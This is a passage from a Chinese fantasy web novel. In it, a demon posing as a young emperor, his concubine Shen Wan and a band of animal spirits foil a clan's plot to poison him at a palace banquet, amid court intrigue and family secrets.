面前的青年突然向她伸出手来,握住她的下巴,让她抬起头来,拇指按在她的嘴唇上,从右至左轻轻划过,栖凤阁偏殿内光线昏暗,仅有一对烛火静静燃烧,天子的双眸却非常明亮,甚至让她突然有一种错觉,自他凌冽的眼神里看到不寻常的金色寒芒。
手指的动作很温柔,轻轻掠过她的嘴唇,却丝毫感受不到这一动作带来的亲密旖旎,而别有难言的复杂情绪,混杂欲念、死亡、甚至有点偏向兽性的侵略性,让她不禁哆嗦起来。
虽然枉担了宠妃的虚名,却不曾经历人事,只是指尖碰到脸而已,却陡然激起一些陌生而且不合时宜的冲动,就好像吃了什么秘药,让她突然间有点腿软。
天子往前走一步率先扶住她,沈纨脸颊贴在他胸膛上,她的脸红得厉害,刚才险些把平日里的端庄和矜持一股脑全扔了,她喃喃道:“陛下,这里,不太合适。”
“是啊,以后再说吧。”
不过是让魔气漏出一线,就玩得有点过火了,他可还披着小皇帝的皮囊呢。
待气氛稍稍平静下来,天子才对她说:“朕考虑外派沈卿不是突然的决定,朝局动荡,对你们也不再安全,你若舍不得双亲,不妨同去河东共享天伦。若是留在银杏居,云侍卫自然也能护你。”
她现在心情也平复了,点头道:“妾明白了,近日会好好思量。”
在偏室耽搁了比预期更长的时间,现在是该离去了,她刚才心跳得厉害,现在依然觉得有点腿软,脸还在发烫,虽然还有点困惑,不过大致上没事了。不过,外间往来更衣的徐氏女眷依然在走动,向魏国夫人报告天子床帏秘事的女官才离去,却又传来大长公主,以及阮夫人的声音。
公主的语气有点愤怒,而阮夫人正在哭泣。
40. 吞噬
公主正因徐阐的身后事斥责阮夫人。
沈纨此前对徐阐的后事也略有听闻,徐家对此子究竟葬于何处犹豫不决,没想到,公主对此也颇有微词。
徐阐生前造业,死得蹊跷,虽然生前徐氏对他百般包庇,亦知他恶行,人既殒命,自当好生安葬,以免罪业祸及生者。
长乐公徐虎决定将他葬入徐氏在京郊的祖地西园,彼处风水甚佳,西园旁捐建寺院和精舍,有僧众日夜诵经,以求香火永续。
魔情哼一声淡笑道:“魂都在地狱了,再怎么念经做法也不会有用。”
沈纨想到他死前情状,内心也有些发毛。
此举引起大长公主的激烈反对,但徐氏如今大权在握,身为宗亲的公主近来倒退了一射之地,反对无果,因此她把怒气撒到阮夫人身上。
隔墙听公主的言语,沈纨才知,原来长乐公新殁了个侍妾,是阮夫人离府久矣的母亲。公主此前在她面前状若无人地贬低:“上不得台面的外室”,想来对阮夫人的母亲颇有怨言。
长乐公徐虎早年有一阮姓侍妾,出身寒微,很早就已不在徐府,其女闺名玉容,乃徐敦庶妹,但她不姓徐,而是随母姓。今因母丧,阮夫人和夫君陈永打算回殷州处理丧事,因而想要提前将徐阐葬入西园。
公主愠怒,当着阮夫人的面斥责这位已故的阮氏素行不检,沈纨听到拐杖咚咚地敲在地上的声音。
“汝母骨头轻贱,而你青出于蓝,汝子堕落,究其原因,还不是因为有你这样不知廉耻的母亲,一家子贱骨头,从根上就烂了,还敢妄想玷污西园土地。”
“这是父亲的意思,妾身也想把三郎带回殷州的。”
“你离京十余载载,孤还道你有所收敛,反思你们父女的丑行,却又送三郎这个孽障进京,甚至觊觎西园,你怎么敢?!”
阮夫人的声音带着泣音:“这些……都不是妾身的决定。”
“住口!你与汝父丑行,九泉之下若有森罗地狱,除了汝子这个孽障,你也会和他一起下去。”公主是年迈之人,说话声音颤抖,像只愤怒的老鸦。
沈纨登时觉得毛骨悚然,慌忙捂住嘴。
阮夫人哭声更甚,公主怒极:“你也不必在孤面前装作一副可怜相,若是还知廉耻就赶紧带着这个孽障远离京城,孤宁可暴尸荒野也绝不允汝等玷污萧门先祖赐下的西园。”
阮夫人声音突然激动起来:“妾绝不敢叨扰殿下,我们母子自有去处,我选择与母亲姓,也未曾有一日后悔。”
她的足音远去,偏室之外,仍能听见公主愤怒的诅咒。
临室稍后有宫人进来走动,侍奉公主更衣,又一同离去,四周再度恢复安静,魔情回头一瞥发现沈纨脸色苍白,遂问她:“你在想什么?”
“妾……妾不敢说。”
“这也没别人了啊。”
沈纨心脏直跳,缓了缓才道:“魏王乃长乐公独子,长乐公与侧室又有一女,妾身私以为,阮夫人所出的这位公子,不是三郎,而应呼为二郎,甚至二老爷更妥当。”
若她猜得不错,徐阐,应是长乐公徐虎和阮夫人之子。
她说得足够含蓄了,魔情拉起她的手:“我们出去吧。”
栖凤阁内已不见阮夫人,但徐氏家眷几乎齐聚,除了魏王父子,还有贵妃徐兰宁,大长公主与长乐公在一起,她看上去犹有愠色,魔的耳力远比人要好得多,魔情已经听得明白,公主仍在为徐阐下葬之地与长乐公争执,显然,长乐公并不打算让步,他心意已决,定要将这身份不足为外人道的亲生儿葬入徐氏风水上佳的西园。
他们看到天子现身就停止了争执,徐氏现今荣耀,魏王和长乐公面圣无需繁文缛节,不过请安还是必要的。
沈纨不喜欢在场徐氏亲眷如刀锋般的眼神,她挣扎了一下想摆脱天子拉住她的手,没想到他攥得更紧:“急什么,要走朕也会送你回去。”
最后是皇帝拖着她的手步入栖凤阁,二人一起受了长乐侯和大长公主的礼。
皇帝满面春风地说:“今日大喜之日,公主何须为琐事介怀?长乐公历来疼爱晚辈,府上的三公子虽然是外亲,却视如己出,比亲生子还亲,都是长辈的慈爱,不若朕追封三公子一个爵位,让他体面葬入徐氏祖地如何?”
这本是御赐的恩典,徐虎却没有立刻谢恩,而是眼神陡然出现一抹凶光,但稍纵即逝,而大长公主显然也有些猝不及防,一贯傲慢的神色,竟然出现了些许惊慌,仿佛一些竭力掩盖的秘密陡然被掀开,不体面地被摊开在人前。
这对年迈的夫妻似乎对皇帝的说辞颇为动摇,竟过了些世间才反应过来,向天子谢恩。
紧张的情绪连沈纨都感觉到了,身边的天子却继续笑道:“朕与三公子只在家宴上有数面之缘,此前遭刁民诬告,实乃无妄之灾,他一表人才,比之魏王更有长乐侯当年的风采,未曾深谈,着实可惜,如今不过略尽绵力。
“那么,时候不早,沈婕妤方才受了惊,朕要送她出宫,大婚诸事,有劳诸位。”今夜栖凤阁一会本为商议贵妃与天子大婚的细节,没想到天子却拉着沈婕妤径自离开了栖凤阁。
徐虎与大长公主目送天子携沈婕妤离去,公主神色灰败,而徐虎眼神仿若淬了毒液,露出狠戾之相,杀机毕露。
这种难以再隐藏的敌意连沈纨都感觉到了,更不要说对情绪更加敏感的魔族,混沌始终护卫在距离他们不远之处,察觉到不寻常的恶意,也不禁在暗处皱了皱眉。
他亲自送沈纨回到了银杏居,并若有所思地问她:“你觉得那徐阐知道自己真实的身世吗?”
“妾说不好,不过……”
“不过?”
“妾的恩师修行在清泉山,妾身自幼也常在慈缘寺与山下的善济堂往来,见过各式各样的人,许多檀越铸成大错前来忏悔,或有终身难以释怀的心结,究其根源,常与其来处相关,妾身以为,长乐公对于晚辈来说,不是什么好的榜样。”
只可惜徐阐被拖入了地狱,这些秘辛恐怕再也无从知晓。
临去前天子告诉她:“朕已经决定要让沈卿前往河东履职,是否要随双亲离京,你这几日不妨好好想想。”
沈纨觉得天子神情严肃,心下微觉不详,她今日体会到了徐氏的敌意,还洞悉了一个没人想知道的、黑暗的秘密,京城对她来说也不安全了。
“妾明白了,这几日会好生思量。”
午夜,万籁俱寂,栖凤阁内的热闹也终于散去,整个京城都陷入深眠,蓝月幽阁之内,百无聊赖的饕餮突然得令,利落地自
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黑玉床上一跃而起。
时候终于到了。
夜深人静,魔公子与麾下两员大将现身于已经升格为王府的徐氏府邸之外。
“公子,时机成熟了?”
“可以了,去吧。”魔情看着徐府高大的门户和院墙回答。
火种下去,会掀起滔天的烈焰,在毁灭之中,献出魔喜爱的祭品和食粮。
有了魔公子的首肯,早已等待了许久的饕餮,终于露出了邪恶贪婪的笑容。
随着徐敦封王,魏国公府成为魏王府,如今已是齐室江山真正的权力中心,魔情手中现出徐阐身死后形成的那颗冒着黑色火焰的魂丹,他扬手将魂丹抛出去,魏王府广阔的宅院上空魔气弥漫,出现一棵参天巨树,黑紫的雾气笼罩着枝繁叶茂的大树,树上果实累累,其中有一些果实冒着黑气,往下滴着水珠,那些水珠颜色暗沉,如同黑色毒素。
这是凡人肉眼所看不见的——家族气运树。
君子之泽,五世而斩。这百多年的世家,自前朝就是极具影响力的门阀,虽然算不得什么有德行的世家,但传递早已超出五世,荣耀之至,随着权力渐至顶峰,距离帝位仅一步之遥,代代因缘累积,这棵家族树枝繁叶茂,果实累累,巨木参天,门生无数。
徐阐是这个世家的异类,结出的最毒最黑暗的果实,如今随着他堕入地狱的最底层,结在树上的那颗代表他的果实化作黑气,散于天地之间。
从团团的黑雾中魔情窥见了这个庞大世家累世的过往,他发现,徐阐还真的知道自己的身世。恰逢今岁的春夏之交,蝎王船来到京城的夜晚,他不慎掉进沈纨闺中,那一夜阮夫人与长乐公在府上起了争执,被徐阐窥见,他当夜就杀了徐虎的一个侍妾,并把残缺的尸体丢到徐虎面前。
上梁不正下梁歪,父族是恶劣的榜样,他又将怨恨投射到和他母亲气质相似的年轻女子身上,猎杀她们泄愤。他在进京之初本有所收敛,但这个死掉的侍妾,成为京城连环命案的开端。
不积福德,自然不得天道庇护,世家自以为手眼通天,庇护了他,却由此吸引来了暗夜的主人。饕餮现出魔相,双目露出残暴的凶光,他周围魔焰升腾,两对犄角从头上出现,一个巨大的魔兽虚影幻化成型,出现在他上空,魔兽仰头咆哮,霎时间天地风云变幻,它张开血盆大口,扑向那参天巨木。
巨木摇晃起来,大量黑紫色雾气从中被抽取出来,源源不断地进入魔兽的口中。饕餮生性贪婪,大快朵颐,饱食徐家上百年的气运和繁荣。
魔情与混沌一言不发,看着徐氏的家族树在饕餮的吞噬下迅速枯萎,所有的叶片和果实从枝头消失,最后变成一株巨大而毫无生息的枯木,一两颗未及凋零的果实在倾颓的枝条上挂不住而零落下来。
魂丹一开始就有瑕疵,摧毁得不够彻底,余下一些无关紧要的旁支,漏网一两条鱼儿不要紧,这个家族已经完了。
饕餮自来到人间,等待这一刻许久,如今终于得偿所愿,徐氏的家族气运被他吸食殆尽,他转身面对魔情,满足地用舔了舔獠牙:“多谢公子。”
魔情点了点头:“我们走吧。”
三位魔将自徐府门前消失了,而徐府上空的气运树,也像雾气一般散开,夜色清明,仿佛什么都未曾发生过。
41. 黄鼠狼拜年
寿宴之后,沈纨总是想起那晚的情景,令人不适的敌意与交锋,起初天子说要送她离京,她内心觉得有点心寒,但经过昨夜栖凤阁一会,反倒觉得离京更好些了。
沈景前往并州的调令已下,即将赴任,并州刺史乃天子叔父,比之年老肥胖的福王年轻许多,但身有残疾,多病虚弱,为人却甚是忠直。
并州为上州,因此刺史的佐官为从四品,比沈景如今的官职略高些,不过京官外调,名义上升职,在世人眼中也形同贬谪。
沈府这几日甚是忙碌,姜鸾音忙着整理行装,还回云阳侯府向娘家一众亲戚辞行,侯府有些年老浅见的长辈,提及沈景外调,与姜鸾音叹息,如若当年结亲的是某某,他如今为徐敦得意门生,近日就任吏部侍郎,仕途腾达,岂不比沈景这出身寒门的失意探花郎要更好,姜鸾音老大没趣,不豫而归。
打点行囊时,姜夫人想要从京里带些药材赴并州,但连跑了东市的几间药铺,都买不到所需的药材。
沈纨来见母亲,知悉此事,决定去西市看看,素问堂也在京城西边,自上次上阳宫一别,她也想去见见朱大夫。她这几日外出依旧会带上云侍卫,不过出行已不像数月前那般紧张。
朱则玉见到沈纨,十分欢喜,引她至内室说起体己话,傅莲心和锦瑟早已南下,锦瑟离去前,留书一封,内中表达了对沈府,尤其是对姜夫人和沈纨的谢意,因之前时机不便,近日这封信才由朱大夫交到沈纨手上。
在上阳宫时,沈纨得知,傅莲心所用的蛊毒,乃是一位前辈提供,她心中一直疑虑,是否这位前辈就是朱大夫,不过,即便此事为真,朱大夫未必就愿意教人知晓,她虽然心有疑虑,还是默默地按下了挑明的冲动。
素问堂如今也有药材短缺,朱则玉如今也只留下了一些私用的药材,但仍是不够,与了沈纨为数不多的药材和伤药,供旅途急用,沈纨谢过。
事出反常必有妖,沈纨心事重重,内心担忧。她其实已经决定,要随父亲和母亲一起去并州,但是,她发现自己还是有点惦记,那个在皇城里的天子。
突然福至心灵,原本在返回沈府的路上,她吩咐车夫改道,前往太平坊。
她希望今日能见到那爱算卦的狐狸。
来到太平坊那熟悉的巷子,就听到狐狸舌灿莲花的声音,看来,他今天生意不错,一个妇人带着即将出嫁的女儿前来合八字,眉开眼笑地离去,还买了狐狸的护身符。
二人离去后,狐狸看到沈纨:“啊呀,沈娘子,今日怎么有兴来此?”不等她回答,初九又道:“慢,让我占一卦,看看来意。”
狐狸似模似样地起了一课,诧异道:“咦,娘子今日是来送钱的?”
“差不多吧。”沈纨叹道:“我虽觉得你那辟邪珠贵得很,但今日还真有要事相询,也不知道你或和你相熟的那几位仙长愿不愿意帮我?”
“娘子遇到了何事?且道来我一听。”
沈纨说了近日京城药材短缺的事情,不知道风泽山的狐狸们有没有药材,也想知道近日京城发生了些什么,一面说着话,狐狸试着再起一课,没想到占不出结果,前方一片混沌。
初九抓了抓头:“娘子莫急,药材容易,我可以去问问长老,所需的银子不多。你在意之事,不妨交给我那四个同修。”
“那一切就拜托你了。”沈纨走之前,给了初九两锭银元宝作为药资。
但狐狸迟迟没有消息,太平坊的卦摊的也不见了,沈纨已经决定要随双亲离开,并将此决定上报宫廷,徐氏大概巴不得她走,宫里的批复很快下来,字迹都不是天子的。
启程当日,沈纨一早起来,皇宫派来禁军,将会护送她与双亲前往并州,福锦和两个丫头也会同去,她们正忙于准备早膳,用饭后将一同启程,银杏居里其他仆役之后会被遣散。
沈纨已梳洗完毕,独自在卧房中,挂心的事毫无结果,心里又是担忧又是遗憾,只恨自己人微言轻,什么也做不了。
忽听窗外有动静,启窗一瞧,发现草丛里有个红色的毛绒尾巴,若隐若现,她知是初九来了,悄悄来到园中。
墙角放着一大包药材,比她要求的还多,她先谢过狐狸,才道:“你终于来了,再晚一个时辰,也许我就要离京了。”
狐狸现了人形,神情却有些紧张:“娘子,宫里的确有些情况。”
他和其他的五个同修暗中查探了京城里药材的流向,发现治伤的药物被大量送出城,而部分剧毒的药材却被送进的宫里,昨日老鼠潜入皇宫,四处查探,果然发现异状,到了今日,天子设宴,同世家宴饮,阴谋更加明了。
陛下有危险。
沈纨惊出一身冷汗,长乐公被天子不着痕迹戳破,怕是想要灭口!她当即拿出瓷哨,召唤出云侍卫,他永远能随传随到。
云侍卫现身,沈纨要求他立刻护送自己进宫。
“我心忧陛下,若在宫门被拦住,云侍卫可有办法越过禁军,让我见到陛下?”
“娘子即将启程,现在要进宫?”
“现在要进宫。”她语气坚决。
混沌其实对京城近日药材短缺的动向心知肚明,知道沈纨在忧心什么,公子早有准备,但他也不点破,点头道:“此事不妨,那些守军拦不住我。”他还发觉,银杏居今日来了奇妙的生灵,就是没有他,那些禁军恐怕也拦不住她。
宫里派来的守军原是要护送她离京,得知沈婕妤突然要无召进宫,不敢从命,沈纨心急如焚,她一向温和,今日破天荒斥道:“我离京前要向陛下和太后辞行,你们怎么当的差,连这个都不知晓?”
禁军并没有接到这样的命令,但沈婕妤此言又不无道理,只好护送她前往宫城。
马车接近皇城,果不其然遭到皇城禁卫的拦阻,禁军不曾得到任何来自宫里的通报,知道沈婕妤此次乃是无召欲入宫,岂能放行。沈纨为天子嫔御,禁军不敢为难她,但也不允她进入。
混沌有来自皇家的特殊令牌,以备不时之需,但魔将出入长庆宫压根不走宫门,今日因沈纨方派了点用场,论理御赐令牌一出,形同面见天子,不可再阻拦。但小皇帝君权旁落,是以众人看到令牌仍是踌躇,而混沌这个气质奇特的盲眼护卫,他们从未见过,因而答道:“大将军说……”
“你们究竟听命于陛下还是徐敦?”混沌语气平静,听不出情绪,却齐国的实际掌舵者指名道姓,并不像他人以官
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位敬称,听得在场的一众武官面面相觑。
他们当然听命于徐敦,只是面上尚不好承认。
萦绕在混沌周围的气息开始变化,令他面前的众多禁军感到压力陡增,甚至心生畏惧,连沈纨都感觉到非常不自在,禁军感受到弥漫的黑暗气息,不知何故汗透重衣。
“婕妤娘子今日正是要离京,自当进宫辞行,让开吧,别误了时辰招至惩罚。”混沌的声音并不严厉,却让众人一时间大气都不敢出,不由自主地想要听从他的号令。
囿于世俗的畏死情绪与魔将的压迫正在交战,混沌等得不耐烦,想要动粗了,这些禁军当下正是意志力薄弱的时候。
但就在这个时候,附近传来一个尖细的声音。
“小生远道而来,见过列位军爷。”
不远处站着一只黄鼠狼,身躯直立,两只前爪弯腰作揖,深深鞠了个躬。姿态怪模怪样,说话语气铿锵,又带了点油滑,像是从戏班学来的把式。
他说话颠三倒四:“正逢新春佳节,在此祝列位军爷鹏程万里,金玉满堂!某素来仰慕天子威仪,值此良宵,乞请进宫面圣,还望各位容让则个,恭喜发财,大喜,大喜!”
守城禁军露出糊涂的表情,稀里糊涂道:“值此良宵,同喜,同喜。”
精怪们耍了把戏,把人魇着了,沈纨默契地向黄皮子点了点头,轻声道:“多谢。”然后头也不回地进了宫。
沈纨一进宫门就一路向北跑,沿途见到宫人,拦住她们问:“陛下如今在何处?”
宫女们见到沈婕妤忽至,惊讶程度不亚于宫门口的禁军,忙跪下请安,混沌见她们反应甚为迟钝,直接道:“陛下在薰风殿。”
沈纨拔腿就跑,也无暇去想云护卫又是怎么得知的消息。
天子正在薰风殿内同世家宴饮,忽听殿外骚动,见沈纨想要挣开守在殿门外的侍卫要进来,她无法与众多的武官抗衡,只见她身后突然有一身量明显高得多的黑衣护卫介入,以布带覆眼,随意一推,也未见如何施力,就有侍卫仰面倒在地上,殿内的官员有十数人,皆为朝中重臣,也泰半为徐氏亲信,此时皆肃立,正向天子敬酒。
沈纨见天子举杯正要饮尽杯中酒,也不顾众目睽睽,直上前来,夺下他手中酒杯掷在地上,镶金嵌玉的酒杯落在地上磕碎了一个口子,杯中酒也撒了一地。
魔情起初很意外她突然出现,沈纨全然不顾礼节,趋上前来:“陛下,不要喝酒。”
“你不是打算要离京?又改主意要留下来了?”
“妾岂能坐视陛下有危险。”
魔情是真有点被戳中了,突然微微倾身,把她揽入怀中,贴着她的面颊,今日出席的宾客老家伙甚多,皆为徐氏亲信,天子公然在宴上与宠姬亲热,众人看傻了眼。徐敦父子座次离天子最近,站在沈纨身后虎视眈眈。
他被自己信赖的部下偷袭,险些丧命,没想到这么一个凡间的少女还时刻挂心他的死活。
“不走便不走吧。”沈纨突然僵住了身体,刚才……他好像把嘴唇在她的耳垂上贴了一下,随后听到他的低语:“别怕,我都知道。”然后,也不等她有所回应,即刻转头下令:“来人,赐座!”
42. 神秘的皇帝
他状若无人地引沈纨坐在他身旁:“婕妤对朕相思成疾,朕也亦然,久未相见,十分想念,众卿不必拘礼,今日形同家宴,御膳房特备佳肴,魏王又献了美酒,切勿辜负。”
徐敦与其长子徐照原都还站着,本打算向天子敬酒,没想到沈纨闯入,他们手执酒杯,面色十分不快。
徐虎门生孟逖近日刚升任礼部侍郎,红光满面,对老师和魏王的提携感激不尽,试图维护徐家父子脸面,忙起身道:“陛下,这西域来的葡萄美酒,乃是魏王殿下班师回朝之时,不远万里自大漠带回,极是难得,臣今日有幸品尝美酒,心中甚是喜悦,今幸逢此良辰,愿以此酒,祈陛下龙体康宁,社稷永固。”
龙体康宁?沈纨在一旁心中已是极为焦虑。
一旁的天子却没有立刻反应,混沌向他传来消息:
【公子,那红狐带着一群动物,在御膳房外有所动作。】
【做什么去了?】
混沌简要说了情况,魔情面上不好做出反应,内心颇觉好笑,瞌睡有人送枕头来了,酒里有毒他早已知道,深埋多年的家族丑行被揭开,徐虎怕是要忍不下去了。他本想顺水推舟,引出他们进一步动作,突然间来了奇妙的外援,旁边那女孩儿领着一群动物介入,那不妨因势利导,有些狗腿子今日算他倒霉,自寻死路。
【公子,可要阻拦?】
【不必,随他们去。】
沈纨觉得这是火烧眉毛的大事,想不明白他为何丝毫不紧张,她心中着慌,扯了扯他的衣袖。
没想到手反被他握住,并微微摇了摇头。
他们在食案之下偷偷拉扯,偏偏徐敦位居次席,这些动作都能看在眼里。
孟逖见天子不语,复又说道:“臣孟逖,敬陛下。”
“好啊,拿酒来!”
他刚刚被沈纨摔了杯子,宫娥现在换了新的酒杯,再次斟酒呈上,雕花鎏金的葫芦形酒壶,香气馥郁的葡萄酒徐徐注入有绘彩的白玉酒杯中。
沈纨还待说些什么,突然感觉自己身后有什么东西。
吱吱吱吱——
她吓得汗毛直竖,老鼠!她身后有老鼠!!
是初九的朋友,设法进了薰风殿,他非常努力地与沈纨联系:“沈娘子,切莫担心,青姬已有所准备,陛下不会受影响。”
青姬是那蛇妖的名字,老鼠声音尖细,沈纨环顾四周,却见众人无所反应,确定这声音只有她听见,其实她身旁的青年也听见了,但装作没听见。
沈纨稍稍稳下心神,殿外一个脸型瘦长,但生得很是秀气的宫女奉酒上来,青姬比此前在宫外的一会又变得更具人相,竖瞳已经变成了一对妙龄女子的灵动双眸。
魔情取酒步下玉阶,信步至孟逖面前:“孟卿平日辛劳,朕深感其劳苦,敬卿一杯!”
说罢,他一饮而尽。
然后又道:“众卿皆有功于社稷,今日齐聚,朕心甚悦,再陪一杯!”
皇帝的酒壶乃是单独的鎏金葫芦执壶,而一众臣子,则是银色酒壶,那脸尖的宫娥正为孟逖重新将酒满上,然后众人一同起身再敬天子。
天子回到自己的食案前,才刚坐下,孟逖突然面目扭曲起来,喉中发出奇怪的“嗬嗬”声,突然间七窍流血,仰面倒下,睁着眼睛没了气息。
孟逖是徐虎门生,也是徐敦亲信,近日才升任吏部侍郎,春风得意,欲在官员人事任免上有所作为,才就任不到十天,就死在了大殿上。
在场的官员惊慌失措,不安地骚动起来,而徐敦面露惊愕,似是未曾料到竟会有如此展开,天子神色波澜不惊,语气有些冷酷地说道:“这朕可就不理解了。”
周遭本有乐人在弹奏雅乐,见出了人命,乐声骤停,群臣纷纷跪地,徐敦忙离席跪于天子面前:“陛下,事发蹊跷,还请陛下将此事交由臣查探,揪出祸首,给陛下一个交代。”
“魏王为朕最器重的肱骨之臣,此事便交由魏王查明,朕心系婕妤,今日之宴到此为止,收尸去吧。”至此,他不待徐敦回应,就转过身去,拉着沈纨出了薰风殿。
天子拉着沈纨往前走,一言不发,一众宫人跟在他们身后,神色紧张,天子突然把她拉近,揽着她的腰纵身一跳,顷刻就不见了踪影,摆脱了众人。
沈纨起初以为陛下要带她前往太后的长宁宫,没想到他们穿过游廊又往南走,她意识到这是她在宫中走掼的路线,她回到了棠华宫。
曹姑姑依然在宫里,并三四个负责洒扫的小宫女,虽然沈婕妤出宫有些日子了,但她们还是勤勤恳恳地维持着棠华宫的体面和整洁,以期婕妤有朝一日归来。毫无预兆之下,沈婕妤突然归来,曹柳玉喜出望外,竟是直接哭了出来。
沈纨数月不在棠华宫,份例皆送往宫外,而此前得的诸多赏赐,仍贮于宫中不曾动用,如今天寒,曹姑姑差人取出炭盆,又往一旁的香炉点上一大束梅花香,暖塌上铺好了大红祥云的绣褥,不多时房中就温暖起来,她忙前忙后,虽是隆冬季节,她喜上眉梢的样子却仿佛春风拂面。
好容易张罗完毕,这才领着众人行礼退去。
魔情看着棠华宫的一众宫人张罗忙碌,他现在的身份是个失权天子,徽元殿已经全是狗腿子,他完全放任,今日在棠华宫里,见到那些曾经服侍沈纨的棠华宫旧人忙碌,意外产生了些许罕有的,并不必担心被盯梢的感觉。
或者说,安全感。来自于向来被魔族所忽略的凡人,实在非常奇妙。
“你现在知道留京的危险了吧?今日原是你们离京之期,去并州反而安全些,如此当是误了启程的时间。”
“就是行路在半途妾也会回来的,妾以为,若是父亲和母亲知悉,他们也绝不会坐视不理,陛下若有三长两短,并州又怎么可能安全?”
“不必担心朕的安危,这话你最好听进去。还有,你带来的那些朋友,再过些时日皇宫要被你变成兽园。”
沈纨面颊一红:“陛下,他们都是初九的同伴,若非他们襄助,查明事态,又帮助妾闯过宫门的禁军,妾也无法见到陛下。”
天子突然抬头推开他身旁的一扇窗,窗外本是棣棠花园,如今时令不对,看着景色有些萧疏,他的声音稳稳地传出去:“外面的五位朋友,现
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身吧。”
宫墙上探出三个动物脑袋,老鼠、刺猬、黄皮子,一条青蛇从墙上蜿蜒爬下来,驮着一只红毛狐狸。
初九在风泽山就得到过长老的提醒,未来若见到这位气质神秘的少年天子务必以礼相待,狐狸算命也瞧不出底细,术数只要涉及这位陛下就仿佛被吸进了一个黑洞,全部失灵,他尚以为是自己修行不到家,遇上了特殊的帝王命格,天机不可泄露。
其中一两只小精怪,魔情有轻微的印象,也许此前在风泽山见过,里面只有初九这狐狸修为略高些,但即便如此,他的人形尚无法隐藏他的耳朵,依靠狐族特有的幻术变成少女和老头倒是毫无障碍,演起来也丝毫没有心理负担,
魔情让小妖怪们从窗边进了书房:“如月,你且去和曹姑姑叙叙旧。”
“我去寻曹姑姑,让她们张罗些吃的过来。”沈纨会意地站起来,默默地掩了书房的门离去。
“诸位图些什么呢?”身着明黄色龙袍的少年天子抱着手,面对着五仙道。
他的气质有种无声的震慑,其余小妖怪一时间感到莫名压力,敬畏得说不话来,只有狐狸回答:“陛下为风泽山除掉了为祸多年的妖道,狐长老本就有言,风泽山住民对当朝天子绝不可怠慢。陛下又是尊贵之人,我修为浅薄,不够格窥视天机,事实究竟,阿九斗胆……也许陛下心里明白。”
皇帝心照不宣地笑了笑,有种奇特的邪异和更甚于妖族的艳丽感。
“你们有人能写字吗?”
“多少懂一些,但是……”几个小妖怪面面相觑,有一些化相尚不完全,拿笔写字多少有点阻碍。
初九道:“我可以,陛下有什么吩咐?”他其实还算是修为尚浅的小狐狸,但也在京城算了几十年命,识文断字不在话下。
他依从旨意在书案前坐下,面前的天子负手娓娓道:“子时采月华,引太阴真气入体,汇聚丹田,朔望之交,各取天光月华凝练真元,待一阳来复……”
狐狸写着写着,回过味来:“这……这是仙狐族的苍夷前辈失传已久五元化形经。”
苍夷,是仙狐一族不知所踪已久的金睛九尾狐,曾经留下一卷妖族的化形秘籍,在仙狐族中广为传诵,但仙狐族一族在多年前与堕入偏门的魔修起冲突,所居的神山被夷为平地,秘籍也不知所踪,如今的风泽山仅仅保存了若干残页。
“聊表谢意,有用吗?”
“有用!当然有用!此物失传久矣,陛下如何知道?”
“别低估了皇家藏书的数量。”魔情不免半真半假地回答:“钦天监的方士看不明白,还道是坊间异人的妄语,既然有用,物归原主岂不正好?”
“此物乃是妖族传说已久的至宝,如此又欠了陛下天大的人情,陛下若有何吩咐,我等在所不辞。”
他思量片刻,道:“那么,沈婕妤就拜托诸位,京城不日就将有些乱了,护她周全就好。”
“陛下放心,我等一定当成自己的事来办。”
魔族无法长久留在人间,但风泽山就在京城左近,这些精怪的寿元,至少,比人族也要长久得多。
43. 火起
沈纨在秋天的时候被天子突兀地送出宫,又在毫无预兆之下回到了宫廷,她甚至没有回到棠华宫,而是直接在天子寝宫住了下来,与此同时,棠华宫的掌事宫女曹柳玉也调入帝寝,专门照料沈婕妤。
沈景被外调,赴任并州,原本说好了妻儿同行,没成想女儿在前往并州前的两个时辰擅闯禁宫,进而被天子留下,就这样,她又再度进了宫。随后旨意下来,沈景依旧赴任,时间耽搁了一日,夫妇二人心怀忧虑地启程,随同的,还有此前侍奉银杏居的福锦和蒹葭白露两个丫头。
官员死于宫宴上的消息被秘而不宣,当日参与宫宴的官员三缄其口,最终流向宫外的传言变成了沈婕妤对天子相思成疾,擅闯内廷,不但成功复宠,还住进了帝寝之内。
与此同时,徐贵妃因病离宫,回魏王府静养,偌大一个宫城竟然容不下两个妃子,徐贵妃进宫沈婕妤即出宫,待沈婕妤回宫徐贵妃竟又离开了宫城。
此事相当损伤徐氏颜面,而随着徐敦封王,徐兰宁的母亲魏国夫人也成为魏王妃,知悉爱女密集的彤史纪录全然作伪,她怒不可遏,又获知女儿生了怪病,因而将她接回徐府休养。
作为京城的顶级世家,御医皆可为所用,但寻遍了民间与御用的名医,无人明白徐兰宁的病因,她一入夜就神志恍惚,非常嗜睡,随着她回到徐府,带去了附体在她身上的梅妃,以至于徐兰宁的闺房和院落每至子时就开始阴风阵阵。
药石无灵之下,魏王妃又差人请来知名的方术士,这才瞧出来了不得的门道,但事到如今,即便依托方术也已经太晚。此事着实引起了徐敦夫妇的震怒,心尖至宝的女儿送入宫廷本欲为国母,小皇帝不但在彤史上弄虚作假,甚至装神弄鬼,竟敢用巫蛊之术祸害女儿。
魏王妃震怒之余,又将多余的怒气迁怒于沈纨,那不知耻的小妖精,几番强闯御前,现在又顺利复宠,不啻于在贵妃和整个徐氏面上都各甩了一记耳光。
偏偏徐氏近日又逢多事之秋,大长公主突然病笃,本就是有年纪的人,偶染风寒,病势却愈加沉重下去,徐贵妃的病势秘不外宣,她回府的缘由借了大长公主的病势:因贵妃孝顺,自幼与祖母亲厚,因此自请回娘家侍疾尽孝。
长乐公徐虎则另有介怀之事,他丑行败露,与魏王合谋意图鸩杀天子未果,孙女得了怪病,且倚重的门生又在殿上暴亡,致使京中流言四起,他无论如何也已忍不下去了。
徐敦对起事尚心存犹豫,但徐虎已是断然地起了杀心,这数日来反复规劝:“既有心登极,过分犹豫,反失良机,娥皇对那竖子一片痴心,却遭如此愚弄,已非良配,他日娥皇为公主,再则青年俊才与之婚配,何人敢慢待于她?”
在父子夜谈的两日后,大长公主甍逝,而徐敦也下定了决心,废黜皇帝。
这一夜的徽元殿静得不寻常,天子却不在殿内,沈纨在晚些时候去向太后请安,归来时发现天子坐在寝殿的屋顶之上远望,徽元殿的宫人无奈地候在下面。
他此前的各种出格行为,沈纨早已习惯,如今也只是好奇他在那上面做什么?
“要上来么?”
一旁的宫人连声劝阻,但沈纨也被他带得无所谓宫廷的许多规矩,点了点头。
于是天子轻盈跃下,将她带上了房顶。
